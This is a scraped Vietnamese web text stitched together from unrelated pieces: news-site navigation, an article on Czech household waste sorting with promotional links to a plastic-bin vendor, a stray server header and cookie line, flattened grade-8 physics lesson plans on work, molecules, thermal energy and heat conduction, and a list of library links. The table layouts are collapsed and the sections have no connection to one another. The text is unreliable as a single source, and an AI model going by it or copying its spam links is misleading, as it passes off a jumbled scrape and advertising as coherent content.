Chồng lười, vợ mãi vẫn còn trinh
admin
-
30/05/2012
0
Lâm Chí Khanh xinh tươi trong ngày ra mắt công chúng
admin
-
13/12/2012
0
Khi màu pastel mang vẻ năng động khỏe khoắn
-
11/06/2012
0
Load more
EDITOR PICKS
Robots helped inspire deep learning might become
18/06/2017
Experiencing the new Oculus Rift VR headset
18/06/2017
Express Recipes: How to make Creamy Papaya Raita
18/06/2017
POPULAR POSTS
Lưu Hiểu Khánh che mặt khi bị phóng viên chụp cận
14/06/2012
Diễn viên Đài Loan tố nhạc sĩ cưỡng hiếp
17/05/2012
Gặp thí sinh khiếm thị The Voice “gây bão” trên mạng
16/07/2012
POPULAR CATEGORY
ĐỜI SỐNG
170
GIẢI TRÍ
159
Công nghệ
115
THỂ THAO
108
THỜI TRANG
99
Âm nhạc
80
Điện ảnh
74
TÌNH DỤC & GIỚI TÍNH
70
TRUYỀN HÌNH
31
Disclaimer
Privacy
Advertisement
Contact Us
© Design by ATKVIETNAM
Edit with Live CSS


markdown:
Từ năm 1992, tại Séc đã ra đời trang web www.jaktridit.cz chuyên về vấn đề xử lý và phân loại rác thải hữu cơ (đồ thừa khi chế biến thực phẩm hoặc thức ăn thừa) và rác vô cơ ngay trong căn bếp của gia đình. Chính vì vậy mà có gần 7,15 triệu người, tức 2/3 dân số cả quốc gia, có ý thức phân loại rác thải ngay tại gia đình.
Tại các thành phố của CH Séc, không kể nhà riêng thì trong những tòa nhà chung cư đều có những
[thùng rác nhựa](http://thungracnhuahanoi.com/thung-rac-nhua.html) riêng để tiện lợi cho sinh hoạt gia đình. Hiện nay tại Séc có tất cả 270000 thùng rác các loại cho khoảng 10,5 triệu dân, trong đó thùng đựng rác hữu cơ có màu đen và rác sẽ bị tiêu hủy tại bãi rác, còn các loại thùng rác vô cơ được chia làm 6 loại theo màu sắc cho từng loại rác tương ứng như giấy bìa, đồ bằng nhựa, quần áo, đồ điện điện tử cỡ nhỏ…
Rác vô cơ sau khi phân loại sẽ được chở đến nhà máy để xử lí. 80% lượng giấy và các sản phẩm thủy tinh sử dụng ở Séc là sản phẩm được tái chế từ rác thải. Điều này không chỉ mang lại lợi ích lớn cho quốc gia mà còn cho cả các công ty xử lí rác thải nội địa. Tuy nhiên, tái chế rác nhựa vẫn đang bị hạn chế theo quy định của EU – không quá 7 lần, để tránh gây độc hại cho người tiêu dùng.
Tại CH Séc đã có quy định riêng dành cho rác thải độc hại không thể cho vào
[thùng đựng rác](http://thungracnhuahanoi.com/thung-rac.html) hỗn hợp hay thùng rác phân loại, đó là pin, ắc quy; bóng đèn tiết kiệm điện hoặc bóng đèn lưu huỳnh; các hóa chất và các thiết bị chứa hóa chất; đồ điện cỡ lớn (máy giặt, tủ lạnh, tivi..); lốp ô tô, xe máy.
Người dân có thể đến vứt bỏ các loại pin, ắc quy và bóng đèn điện đã qua sử dụng tại các bãi rác thành phố, các cửa hàng đồ điện tử hoặc trung tâm thương mại dọc khắp cả nước.
Do những chất thải này đều chứa thủy ngân cực kỳ độc hại nên các cơ sở nói trên có trách nhiệm phải tiếp nhận cùng với một khoản phí nhỏ. Các cửa hàng sửa xe, thay lốp sẽ buộc phải nhận lốp ô tô, xe máy cũ do người dân đem đến.
Theo số liệu thống kê mới nhất của Sec đã cho thấy, trong năm 2016, khoảng 1600 tấn pin đã được thu gom từ các container chuyên biệt để chứa pin cũ, tính ra mỗi công dân ở Séc trong một năm đã đem giao 6 viên pin cũ để tái chế.
Điều này đã đưa CH Séc lần đầu tiên lọt vào danh sách các quốc gia thực hiện đầy đủ các tiêu chuẩn chất lượng của EU về phân loại pin cũ, bắt kịp Hà Lan và Bỉ là hai quốc gia dẫn đầu từ trước đến nay.
Từ các viên pin cũ ở Séc, các nhà máy xử lí rác sẽ thu được 270 tấn thép, 344 tấn kẽm, 336 tấn mangan, 25 tấn niken và 25 tấn đồng.
Website:
[http://thungracnhuahanoi.com](http://thungracnhuahanoi.com)

Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.1e-fips PHP/5.4.16

Set-Cookie: frontend=n230q6u8j3cnn6bpbmghi0vih4; expires=Sat, 09-Mar-2019 07:05:21 GMT; path=/; domain=thungracnhuahanoi.com; HttpOnly


markdown:
I. MỤC TIÊU
1. Kiến thức:
- Nêu được ví dụ trong đó lực thực hiện công hoặc không thực hiện công.
- Viết được công thức tính công cơ học cho trường hợp hướng của lực trùng với hướng dịch chuyển của điểm đặt lực. Nêu được đơn vị đo công.
2. Kỹ năng:
- Vận dụng công thức A = Fs.
3. Thái độ tích cực, hợp tác khi hoạt động nhóm
II. CHUẨN BỊ:
1. Giáo viên:
- Phương tiện:
- Phương pháp: Thực hành, trực quan, vấn đáp.
2. Học sinh: Xem trước bài ở nhà, chuẩn bị dụng cụ học tập.
1. Thầy: Tranh H13.1, 13.2, 13.3
2. Trò: Học bài cũ, đọc bài mới
III. CÁC HOẠT ĐỘNG LÊN LỚP
tìm thêm thí dụ Trả lời C9,C10 HS khác nhận xét Trả lời theo sự hướng dẫn của GV Nêu các ví dụ chứng minh Trình bày câu trả lời cá nhân, lớp nhận xét thống nhất câu trả lời IV-Vận dụng: C9: thí dụ: vật đang chuyển động trong không trung; con lắc lò xo đang chuyển động... C10:hình a) thế năng b) động năng c) thế năng * RÚT KINH NGHIỆM: .................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................... Tuần: Tiết 23: CÂU HỎI VÀ BÀI TẬP TỔNG KẾT CHƯƠNG I : CƠ HỌC Ngày soạn: Tiết: I. MỤC TIÊU 1. Kiến thức: Ôn tập, hệ thống hoá các kiến thức cơ bản trong chương CƠ HỌC Trả lời được các câu hỏi ôn tập. Làm được các bài tập. 2. Kỹ năng đổi các đơn vị 3. Thái độ tích cực khi ôn các kiến thức cơ bản.. II. CHUẨN BỊ: 1. Giáo viên: - Phương tiện: - Phương pháp: Thực hành, trực quan, vấn đáp. 2. Học sinh: Xem trước bài ở nhà, chuẩn bị dụng cụ học tập. - HS: xem lại tất cả các bài trong chương; trả lời các câu hỏi trong phần ôn tập SGK. - GV: bảng phụ trò chơi ô chữ - Đề kiểm tra 15’ (4 mã đề) III. CÁC HOẠT ĐỘNG LÊN LỚP HOẠT ĐỘNG CỦA GV HOẠT ĐỘNG CỦA HS NỘI DUNG GHI BẢNG Hoạt động 1: Kiểm tra bài cũ HĐ1: Kiểm tra,: Kiểm tra vở chuẩn bị ở nhà của HS. HS nộp vở cho GV kiểm tra Hoạt động 2: Hệ thống kiến thức Do đã có ôn tập ở tiết 17 nên GV cho HS nhắc lại những câu hỏi cần thiết trong 17 câu hỏi ôn tập SGK mà HS còn mắc sai lầm trong khi kiểm tra HKI Nhận xét câu trả lời của HS từ đó khắc sâu kiến thức HS chưa vững. Trả lời những câu hỏi ôn tập theo yêu cầu của GV Nhận xét bổ sung A- ÔN TẬP: HS tự bổ sung phần trả lời vào vở đã chuẩn bị trước ở nhà. Hoạt động 3: Vận dụng Cho HS thảo luận 6 câu hỏi trắc nghiệm ở mục I và 6 câu hỏi ở mục II Cho HS trình bày phần trả lời của nhóm mình. Các nhóm khác nhận xét Hoàn chỉnh câu trả lời đúng. Thảo luận theo nhóm Đại diện nhóm trả lời. Nhóm khác nhận xét. B- VẬN DỤNG: I-Khoanh tròn chữ cái đứng đứng trước câu trả lời mà em cho là đúng: 1. D 4. A 2. D 5. D 3. B 6. D II- Trả lời câu hỏi: Vì nếu chọn ôtô làm mốc thì cây sẽ chuyển động tương đối so ôtô và người Tăng lực ma sát lên nút chai giúp nút chi dễ xoay ra khỏi miệng chai. Lúc đó xe đang lái sang phải. Dùng dao sắc lưỡi mỏng đồng thời ấn mạnh lên dao để tăng áp suất à vật bị cắt dễ hơn FA = Pvật = d.V a) Cậu bé trèo cây b) Nước chảy xuống từ đập chắn Hoạt động 4: Trò chơi ô chữ Giải thích cách chơi trò chơi ô chữ trên bảng kẻ sẳn. Mỗi nhóm chọn một câu hỏi từ 1 đến 9 điền vào ô chữ hàng ngang. Mỗi câu đúng 1 điểm, thời gian không quá 1 phút cho mỗi câu. Đoán đúng ô chữ hàng dọc số điểm tăng gấp đôi (2 điểm), nếu sai sẽ loại khỏi cuộc chơi. Xếp loại các tổ sau cuộc chơi Các nhóm cử đại điện bốc thăm câu hỏi Đại diện nhóm trả lời từng câu hỏi. C- TRÒ CHƠI Ô CHỮ: 1 C U N G 2 K H O N G Đ O I B A O T O A N 4 C O N G S U A T 5 A C S I M E T 6 T U O N G Đ O I 7 B A N G N H A U 8 D A O Đ O N G 9 L U C C A N B A N G * RÚT KINH NGHIỆM: .................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................... Tuần: CHƯƠNG II: NHIỆT HỌC Tiết 24: CÁC CHẤT ĐƯỢC CẤU TẠO NHƯ THẾ NÀO? Ngày soạn: Tiết: I. MỤC TIÊU: 1. Kiến thức: - Biết các chất cấu tạo không liền một khối. - Hiểu các vật chất được cấu tạo gián đoạn từ những hạt riêng biệt, giữa chúng có khoảng cách. - Vận dụng hiểu biết và cấu tạo hạt của vật chất để giải thích một số hiện tượng thực tế đơn giản. 2. Kỹ năng làm thí nghiệm và giải thích hiện tượng. 3. Thái độ tích cực khi làm thí nghiệm, hợp tác khi hoạt động nhóm. II. CHUẨN BỊ: 1. Giáo viên: - Phương tiện: - Phương pháp: Thực hành, trực quan, vấn đáp. 2. Học sinh: Xem trước bài ở nhà, chuẩn bị dụng cụ học tập. 2 bình thuỷ tinh hình trụ đường kính cở 20mm. 100cm3 nước,100cm3 rượu. Mỗi nhóm:2 bình chia độ 100 cm3, độ chia nhỏ nhất 2 cm3; khoảng 100 cm3 hạt ngô và 100 cm3 cát khô mịn. III. HOẠT ĐỘNG DẠY HỌC: HOẠT ĐỘNG CỦA GV HOẠT ĐỘNG CỦA HS NỘI DUNG GHI BẢNG HĐ1: Tổ chức tình huống học tập,: Giới thiệu chương Nhiệt học Làm thí nghiệm ở phần mở bài để vào bài mới. HĐ2: Tìm hiểu về cấu tạo của các chất: Thông báo cho HS những thông tin về cấu tạo hạt của vật chất như SGK. Hướng dẫn HS quan sát ảnh của kính hiển vi hiện đại và ảnh của các nguyên tử silic HĐ3: Tìm hiểu về khoảng cách giữa các phân tử: Hướng dẫn nhómHS làm TN mô hình và trả lời C1 Thu dọn dụng cụ, nêu nhận xét qua thí nghiệm. Yêu cầu HS giải thích C2. Gọi HS đọc phần giải thích C2 trong SGK èGiữa các phân tử, nguyên tử có khoảng cách. HĐ4: Vận dụng, củng cố, dặn dò: Hướng dẫn HS làm tại lớp các bài tập trong phần vận dụng C3,C4,C5 Lưu ý HS sử dụng thuật ngữ: hạt riêng biệt, nguyên tử, phân tử. Các phân tử được cấu tạo thế nào? Cho HS đọc “Có thể em chưa biết” Chuẩn bị bài 20. làm bài tập 19.1--> 19.7 SBT HS theo dõi, quan sát TN. Theo dõi sự trình bày của GV Quan sát nhận xét Làm TN theo hướng dẫn của GV. Trả lời C1: không được 100cm3 hỗn hợp ngô và cát. Giải thích theo ý kiến của nhóm. Đọc C2 -Làm việc theo sự hướng dẫn của GV -Trả lời C3,C4, C5 I- Các chất có được cấu tạo từ các hạt riêng biệt không? Các chất được cấu tạo từ những hạt riêng biệt gọi là phân tử, nguyên tử. Nguyên tử là hạt chất nhỏ nhất, phân tử là một nhóm các nguyên tử kết hợp lại. II- Giữa các phân tử có khoảng cách hay không? 1/ Thí nghiệm mô hình: Lấy 50cm3 cát đổ vào 50cm3 ngô rồi lắc nhẹ ta không thu được 100cm3 ngô và cát. 2/ Giữa các nguyên tử, phân tử có khoảng cách: Giữa các phân tử nước và các phân tử rượu có khoảng cách. Khi trộn rượu với nước, các phân tử rượu đã xen vào khoảng cách giữa các phân tử nước và ngược lại, nên thể tích của hỗn hợp nước và rượu giảm. Vậy: giữa các phân tử, nguyên tử có khoảng cách. III-Vận dụng: C3:Các phân tử đường xen vào khoảng cách giữa các phân tử nước và ngược lại. C4:Thành bóng cao su được cấu tạo từ những phân tử cao su, giữa chúng có khoảng cách. Các phân tử khí ở trong bóng chui qua các khoảng cách này. C5: Vì các phân tử khí có thể xen vào khoảng cách giữa các phân tử nước. * RÚT KINH NGHIỆM: .................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................... Tuần: Tiết 25: NGUYÊN TỬ, PHÂN TỬ CHUYỂN ĐỘNG HAY ĐỨNG YÊN? Ngày soạn: Tiết: I. MỤC TIÊU: - Biết: giải thích chuyển động Brao; sự chuyển động không ngừng giữa các nguyên tử, phân tử - Hiểu sự chuyển động của phân tử, nguyên tử có liên quan đến nhiệt độ của vật. - Vận dụng :giải thích các hiện tượng khuếch tán. 2. Kỹ năng : rèn kỹ năng tư duy, so sánh, giải thích hiện tượng. 3. Thái độ hứng thú khi học môn vật lí, hợp tác khi hoạt động nhóm. II. CHUẨN BỊ: 1. Giáo viên: - Phương tiện: - Phương pháp: Thực hành, trực quan, vấn đáp. 2. Học sinh: Xem trước bài ở nhà, chuẩn bị dụng cụ học tập. -Làm trước các thí nghiệm về hiện tượng khuếch tán của dung dịch đồng sunphát ( nếu có điều kiện) : 1 ống nghiệm làm trước 3 ngày,1 ống nghiệm làm trước 1 ngày và 1 ống làm trước khi lên lớp. -Tranh vẽ hiện tượng khuếch tán III. HOẠT ĐỘNG DẠY HỌC: HOẠT ĐỘNG CỦA GV HOẠT ĐỘNG CỦA HS NỘI DUNG BÀI HỌC HĐ1: Kiểm tra bài cũ, tổ chức tình huống học tập,: *Kiểm tra bài cũ: các chất được cấu tạo như thế nào? Thí nghiệm nào chứng tỏ giữa các phân tử, nguyên tử có khoảng cách. *Tổ chức tình huống: như phần mở đầu SGK. HĐ2: Thí nghiệm Brao: Mô tả thí nghiệm kết hợp H20.2 Cho HS phát biểu lại nội dung chính của TN HĐ3: Tìm hiểu về chuyển động của phân tử: Yêu cầu HS giải thích bằng cách trả lời C1,C2,C3 theo nhóm. Nếu HS không trả lời được C3 thì cho HS đọc phần giải thích (SGK) HĐ4: Tìm hiểu về mối quan hệ giữa chuyển động của phân tử và nhiệt độ: Cho HS biết khi tăng nhiệt độ của nước thì các hạt phấn hoa sẽ chuyển động nhanhà điều đó chứng tỏ điều gì? Từ đó rút ra kết luận gì? HĐ5: Vận dụng, củng cố, dặn dò: Mô tả thí nghiệm như câu C4 kèm theo các ống nghiệm đã chuẩn bị trước và tranh vẽ hiện tượng khuếch tán Thông báo hiện tượng khuếch tán. Hướng dẫn HS trả lời C4,C5,C6,C7. Cho HS khác nhận xét câu trả lời của bạn. GV hoàn chỉnh các câu trả lời Còn thời gian có thể làm TN câu C7 cho HS quan sát. Gọi HS đọc phần ghi nhớ. *Dặn dò: Học thuộc ghi nhớ Đọc “Có thể em chưa biết” Làm bài tập 20.1-->20.6 Chuẩn bị bài Nhiệt năng Gọi HS lên bảng trả lời Đọc phần mở bài SGK Quan sát tranh và theo dõi phần mô tả của GV Phát biểu lại nội dung TN Thảo luận nhóm và trả lời C1,C2,C3 C1: hạt phấn hoa C2: phân tử nước C3:( SGK) HS trả lời theo sự hướng dẫn của GV Nêu kết luận Theo dõi giới thiệu của GV Quan sát các ống nghiệm và hình vẽ Cá nhân trả lời các câu hỏi Nhận xét các câu trả lời Đọc ghi nhớ Cấu tạo các chất (3đ) Nêu thí nghiệm (3đ) 19.1-D (2đ) 19.2-C (2đ) I- Thí nghiệm Brao: -Năm 1827 nhà bác học người Anh (Brao) phát hiện thấy các hạt phấn hoa trong nước chuyển động không ngừng về mọi phía. II- Các nguyên tử, phân tử chuyển động hỗn độn không ngừng: C3:các phân tử nước làm cho các hạt phấn hoa chuyển động vì các phân tử nước không đứng yên mà chuyển động không ngừng sẽ va chạm vào các hạt phần hoa từ nhiều phía làm hạt phấn hoa chuyển động hỗn độn không ngừng. III-Chuyển động phân tử và nhiệt độ: Nhiệt độ của vật càng cao thì các nguyên tử, phân tử cấu tạo nên vật chuyển động càng nhanh. Chuyển động này gọi là chuyển động nhiệt. IV-Vận dụng: C4:Các phân tử nước và đồng sunphát đều chuyển động không ngừng về mọi phía, nên các phân tử đồng sunphát có thể chuyển động lên trên xen vào khoảng cách giữa các phân tử nước và các phân tử nước có thể chuyển động xuống phía dưới, xen vào khoảng cách giữa các phân tử đồng sunphát. C5: Do các phân tử khí chuyển động không ngừng về mọi phía. C6: Có. Vì các phân tử chuyển động nhanh hơn. C7: Trong cốc nước nóng, thuốc tím tan nhanh hơn vì các phân tử chuyển động nhanh hơn. * RÚT KINH NGHIỆM: .................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................... Tuần: Tiết 26: NHIỆT NĂNG Ngày soạn: Tiết: I. MỤC TIÊU: 1. Kiến thức: - Biết: khái niệm nhiệt năng, các cách làm biến đổi nhiệt năng. Định nghĩa nhiệt lượng, đơn vị nhiệt lượng. - Hiểu: phân biệt giữa nhiệt năng và nhiệt lượng. - Vận dụng: giải thích một số hiện tượng liên quan nhiệt năng. 2. Kỹ năng: rèn luyện cho HS vận dụng sự hiểu biết để trả lời C3,C4,C5 3. Thái độ: phát huy hoạt động nhóm, cá nhân, liên hệ thực tế tốt. II. CHUẨN BỊ: 1. Giáo viên: - Phương tiện: - Phương pháp: Thực hành, trực quan, vấn đáp. 2. Học sinh: Xem trước bài ở nhà, chuẩn bị dụng cụ học tập. 1 quả bóng cao su, 1 miếng kim loại (đồng tiền), 1 phích nước nóng, 1 cốc thuỷ tinh. III. HOẠT ĐỘNG DẠY HỌC: HOẠT ĐỘNG CỦA GV HOẠT ĐỘNG CỦA HS NỘI DUNG BÀI HỌC HĐ1: Kiểm tra bài cũ, tổ chức tình huống học tập,: *Kiểm tra bài cũ: Giữa nhiệt độ của vật và chuyển động của các nguyên tử, phân tử cấu tạo nên vật có mối quan hệ nhau thế nào? Cho ví dụ? *Tổ chức tình huống như SGK. - Cơ năng đã biến mất hay chuyển sang dạng năng lượng khác? - GV ghi câu trả lời lên gốc bảng. HĐ2: Tìm hiểu về nhiệt năng: Cho HS nhắc lại khái niệm động năng. Vậy các phân tử có động năng không? Từ đó có thể đưa ra khái niệm nhiệt năng. Nhiệt năng có quan hệ thế nào với nhiệt độ? HĐ3: Các cách làm thay đổi nhiệt năng: Hướng dẫn và theo dõi các nhóm HS thảo luận về các cách làm thay đổi nhiệt năng. Ghi các thí dụ lên bảng và hướng dẫn HS phân tích để qui về 2 cách thực hiện công và truyền nhiệt. HĐ4: Tìm hiểu về nhiệt lượng: GV giới thiệu định nghĩa nhiệt lượng và đơn vị nhiệt lượng. Yêu cầu HS giải thích tại sao đơn vị nhiệt lượng là jun ? Nhiệt lượng của vật có được do đâu? HĐ5: Vận dụng, củng cố, dặn dò: - GV hướng dẫn và theo dõi HS trả lời các câu hỏi Điều khiển việc thảo luận trên lớp về về từng câu trả lời. *Củng cố, dặn dò: Tại sao các phân tử có động năng? Có mấy cách làm biến đổi nhiệt năng? Nhiệt lượng là gì? Về nhà học bài theo các câu hỏi củng cố, làm bài tập 21.1 -->21.6, đọc “Có Thể em chưa biết” HS trả lời Năng lượng có được do chuyển động gọi là động năng. Các phân tử có động năng . Nhiệt độ vật càng cao thì các phân tử chuyển động nhanh nên nhiệt năng lớn. Thảo luận nhóm về các cách làm biến đổi nhiệt năng và đưa ra những ví dụ cụ thể. Trả lời C1,C2 Cọ sát đồng tiền trên mặt bàn đồng tiền nóng lên à thực hiện công, thả đồng tiền vào cốc nước nóng à truyền nhiệt Ghi nhận định nghĩa nhiệt lượng. Nhiệt lượng có được do nhiệt năng nhận được hay mất đi khi truyền nhiệt. Cá nhân trả lời C3,C4 và tham gia thảo luận trên lớp về những câu trả lời. HS trả lời các câu hỏi Nhiệt độ cao các phân tử chuyển động nhanh (3đ) Ví dụ: (4đ) 20.1 – C (3đ) I- Nhiệt năng: Các phân tử cấu tạo nên vật chuyển động không ngừng, do đó có động năng. Tổng động năng của các phân tử cấu tạo nên vật gọi là nhiệt năng của vật. Nhiệt độ của vật càng cao thì các phân tử cấu tạo nên vật chuyển động càng nhanh và nhiệt năng của vật càng lớn. II- Các cách làm thay đổi nhiệt năng: 1/ Thực hiện công: có thể làm tăng nhiệt năng của vật. 2/ Truyền nhiệt: là cách làm thay đổi nhiệt năng mà không cần thực hiện công. III-Nhiệt lượng: Phần nhiệt năng mà vật nhận được hay mất đi trong trong quá trình truyền nhiệt gọi là nhiệt lượng. Nhiệt lượng được kí hiệu : Q Đơn vị nhiệt lượng là jun (J). IV- Vận dụng: C3: Nhiệt năng của miếng đồng giảm, của nước tăng. Đó là sự truyền nhiệt. C4: Từ cơ năng sang nhiệt năng. Đây là sự thực hiện công. C5: Một phần cơ năng đã biến thành nhiệt năng của không khí gần quả bóng và mặt sàn. * RÚT KINH NGHIỆM: .................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................... Tuần: Tiết 27: ÔN TẬP Ngày soạn: Tiết: Tuần: Tiết 28: KIỂM TRA 1 TIẾT Ngày soạn: Tiết: Tuần: Tiết 29: DẪN NHIỆT Ngày soạn: Tiết: I. MỤC TIÊU: 1. Kiến thức: Biết: dẫn nhiệt là sự truyền nhiệt năng . Hiểu :so sánh tính dẫn nhiệt của các chất rắn, lỏng, khí. Vận dụng: tìm thí dụ thực tế về dẫn nhiệt, giải các bài tập trong phần vận dụng. 2. Kỹ năng: làm các thao tác thí nghiệm, vận dụng sự hiểu biết để giải các bài tâp C9-C12. 3. Thái độ tích cực khi làm thí nghiệm, hợp tác khi hoạt động nhóm. II. CHUẨN BỊ: 1. Giáo viên: - Phương tiện: - Phương pháp: Thực hành, trực quan, vấn đáp. 2. Học sinh: Xem trước bài ở nhà, chuẩn bị dụng cụ học tập. -Dụng cụ làm thí nghiệm như H.22.1, 22.3,22.4 cho giáo viên, hình vẽ H.22.1 -Dụng cụ làm thí nghiệm như H.22.2 cho các nhóm HS III. HOẠT ĐỘNG DẠY HỌC: HOẠT ĐỘNG CỦA GV HOẠT ĐỘNG CỦA HS NỘI DUNG BÀI HỌC HĐ1: Kiểm tra bài cũ, tổ chức tình huống học tập,: *Kiểm tra bài cũ: Nhiệt năng là gì? Có mấy cách làm thay đổi nhiệt năng? Định nghĩa nhiệt lượng? *Tổ chức tình huống: Trong sự truyền nhiệt, nhiệt năng truyền từ phần này sang phần khác của một vật, từ vật này sang vật khác. Sự truyền nhiệt này được thực hiện bằng những cách nào? HĐ2: Tìm hiểu về sự dẫn nhiệt: Giới thiệu dụng cụ và làm TN như H.22.1 SGK Gọi HS trả lời C1,C2,C3 HS nhận xét câu trả lời. GV kết luận: sự truyền nhiệt năng như thí nghiệm trên gọi là sự dẫn nhiệt. Hướng dẫn HS kết kết luận về sự dẫn nhiệt. Các chất khác nhau dẫn nhiệt có khác nhau không? =>xét TN khác HĐ3: Tìm hiểu về tính dẫn nhiệt của các chất: Giới thiệu dụng cụ và cách tiến hành TN H.22.2. Cho HS nhận dụng cụ và làm TN theo nhóm. Quan sát HS làm TN Cho đại diện nhóm trả lời C4,C5 Ba thanh: đồng, nhôm, thủy tinh. Thanh nào dẫn nhiệt tốt nhất, thanh nào dẫn nhiệt kém nhất? Từ đó rút ra kết luận gì? GV làm TN H.22.3 cho HS quan sát. Nước phần trên của ống nghiệm bắt đầu sôi như cục sáp ở đáy ống nghiệm nóng chảy không ? Nhận xét gì về tính dẫn nhiệt của chất lỏng? GV làm TN H.22.4 HS quan sát Đáy ống nghiệm đã nóng thì miếng sáp ở nút ống nghiệm có nóng chảy không? Nhận xét về tính dẫn nhiệt của chất khí? Cho HS rút ra kết luận từ 3 thí nghiệm HĐ4: Vận dụng, củng cố, dặn dò: -Hướng dẫn HS trả lời C8 -> C12 Cho HS thảo luận, nhận xét từng câu trả lời. Sự truyền nhiệt được thực hiện bằng cách nào? Dẫn nhiệt là gì? So sánh tính dẫn nhiệt của chất rắn, lỏng và khí Giới thiệu phần “Có thể em chưa biết” Gọi HS giải thích sự dẫn nhiệt trong thí nghiệm ở H.22.1 *Dặn dò: về nhà học bài theo phần ghi nhớ, làm bài tập trong từ 22.1 à 22.5 SBT trang 29 HS lên bảng trả lời -HS trả lời bằng dự đóan. Quan sát TN H.22.1 Cá nhân trả lời C1, C2, C3 C1: nhiệt truyền đến sáp làm sáp nóng lên và chảy ra. C2: từ a ->b,c,d,e. C3:nhiệt truyền từ đầu A -> đầu B của thanh đồng. Nhận dụng cụ và tiến hành TN H.22.2 theo nhóm. Đại điện nhóm trả lời C4, C5. C4:kim loại dẫn nhiệt tốt hơn thủy tinh. C5:Đồng dẫn nhiệt tốt nhất. Thủy tinh dẫn nhiệt kém nhất. Trong chất rắn, KL dẫn nhiệt tốt nhất HS quan sát TN Sáp không nóng chảy Chất lỏng dẫn nhiệt kém Miếng sáp không nóng chảy Chất khí dẫn nhiệt kém HS trả lời theo yêu cầu của GV HS thảo luận câu trả lời Giải thích sự dẫn nhiệt trong TN H.22.1: Khi đốt nóng đầu A thanh đồng làm cho các hạt KL đầu A dao động mạnh, nhiệt độ tăng lên ->truyền một phần động năng cho các hạt bên cạnh, các hạt này lại dao động mạnh lên và truyền cho các hạt bên cạnh. Cứ như thế nhiệt được truyền đến đầu B Nhiệt năng (3đ) Các cách thay đổi nhiệt năng (2,5đ) Nhiệt lượng (2,5đ) 21.1 – C (2đ) I- Sự dẫn nhiệt: 1/ Thí nghiệm: H.22.1 Đốt nóng đầu A của thanh đồng Các đinh rơi xuống theo thứ tự từ a -> b -> c,d,e. Sự truyền nhiệt năng như thí nghiệm gọi là sự dẫn nhiệt. 2/ Kết luận: Dẫn nhiệt là sự truyền nhiệt năng từ phần này sang phần khác của một vật, từ vật này sang vật khác. II- Tính dẫn nhiệt của các chất: 1/Thí nghiệm 1: (H.22.2) -Nhận xét: Đồng dẫn nhiệt tốt nhất, thủy tinh dẫn nhiệt kém nhất. 2/Thí nghiệm 2: (H.22.3) -Nhận xét: Chất lỏng dẫn nhiệt kém. 3/Thí nghiệm 3: (H.22.4) -Nhận xét: Không khí dẫn nhiệt kém. *Kết luận: Chất rắn dẫn nhiệt tốt, tốt nhất là kim loại. Chất lỏng và chất khí dẫn nhiệt kém. III-Vận dụng: C8: C9: Vì kim loại dẫn nhiệt tốt, còn sứ dẫn nhiệt kém C10: Vì không khí giữa các lớp áo mỏng dẫn nhiệt kém C11: Mùa đông. Tạo ra các lớp không khí dẫn nhiệt kém giữa các lông chim C12: Vì KL dẫn nhiệt tốt. Những ngày rét, nhiệt độ bên ngoài thấp hơn nhiệt độ cơ thể nên khi sờ vào kim loại, nhiệt từ cơ thể truyền vào KL và phân tán nhanh trong KL nên ta cảm thấy lạnh. Ngày nóng, nhiệt độ bên ngoài cao hơn cơ thể nên nhiệt độ từ KL truyền vào cơ thể nhanh và ta có cảm giác nóng. * RÚT KINH NGHIỆM: ...................................................................................................................................................................................................................................................................................
Tài liệu đính kèm:


markdown:
Tài liệu Thư viện số
-- Liên kết Thư viện số --
Đại Học Nguyễn Tất Thành
Trung tâm Thông Tin - Học Liệu - Đại học Đà Nẵng
Cao Đẳng Sư Phạm Thừa Thiên Huế
Đại Học Vinh
Đại Học Sư Phạm Hà Nội
Trung Tâm Thông Tin - Thư Viện - Trường ĐH Đồng Nai
Đại Học Duy Tân
Đại học Công Nghiệp Thực Phẩm Tp. Hồ Chí Minh
Đại Học Nông Lâm TP.HCM
Đại Học Hàng Hải
Đại Học Xây Dựng Hà Nội
Học Viện Kỹ Thuật Mật Mã
Học phổ thông Online Đại Học Sư Phạm Kỹ Thuật Vĩnh Long
Đại Học Trà Vinh
Đại Học Khoa Học Đại Học Huế
Đại học Giao thông vận tải TP.HCM
Đại học Cửu Long
Đại học Dân lập Hải Phòng
Thư Viện Tỉnh Quảng Ninh
Đại học Sư Phạm Huế
Đại học Kinh tế Huế
Đại Học Kỹ Thuật - Hậu Cần Công An Nhân Dân
Cao Đẳng Công Nghệ Thông Tin - Đại học Đà Nẵng
Cao Đẳng Xây Dựng Thành Phố Hồ Chí Minh
Trung Cấp Âu Lạc Huế
Cao Đẳng Sư Phạm Điện Biên
Cao Đẳng Sư Phạm Lào Cai
Thư viện Tỉnh Bà Rịa - Vũng Tàu
Cao Đẳng Cộng Đồng Bình Thuận
Khoa Du Lịch - Đại Học Huế
Đại Học Văn Hóa TP. Hồ Chí Minh
Đại học Xây dựng Miền Trung
Trung Cấp Bến Thành
Đại Học Kỹ Thuật - Công Nghệ Cần Thơ
Cao Đẳng Cộng Đồng Lào Cai
Cao Đẳng Đức Trí
Phân Hiệu Đại học Huế Tại Quảng Trị
Cao Đẳng Cộng Đồng Kiên Giang
Trung Tâm Học Liệu - Đại Học Huế
Cao Đẳng Công Nghiệp Huế
Trung Cấp Y Dược MeKong
Trung Cấp Phạm Ngọc Thạch Cần Thơ
Thư Viện Tỉnh Bình Dương
Hệ Thống Thông Tin Tư Liệu Số Thành Phố Hải Phòng
Thư Viện Khoa Học Tổng Hợp Thành Phố Đà Nẵng
Thư Viện Tỉnh Bình Phước
Cao Đẳng Kinh Tế - Kỹ Thuật Quảng Nam
Thư Viện Tỉnh Hà Tĩnh
Cao Đẳng Công Nghiệp Cao Su
Cao Đẳng Công Thương TPHCM
Cao Đẳng Công Nghệ Thông Tin TPHCM
Đại Học Yersin Đà Lạt
Đại Học Đại Nam
Đại Học Sư Phạm Kỹ Thuật - TP.HCM
Học Viện Chính Sách & Phát Triển
Đại học Đồng Tháp
Đại Học Phạm Văn Đồng
Đại Học Tiền Giang
Thư Viện Tỉnh Nghệ An
Đại Học Mỏ - Địa Chất
Đại Học Hà Tĩnh
Đại Học Thủ Dầu Một
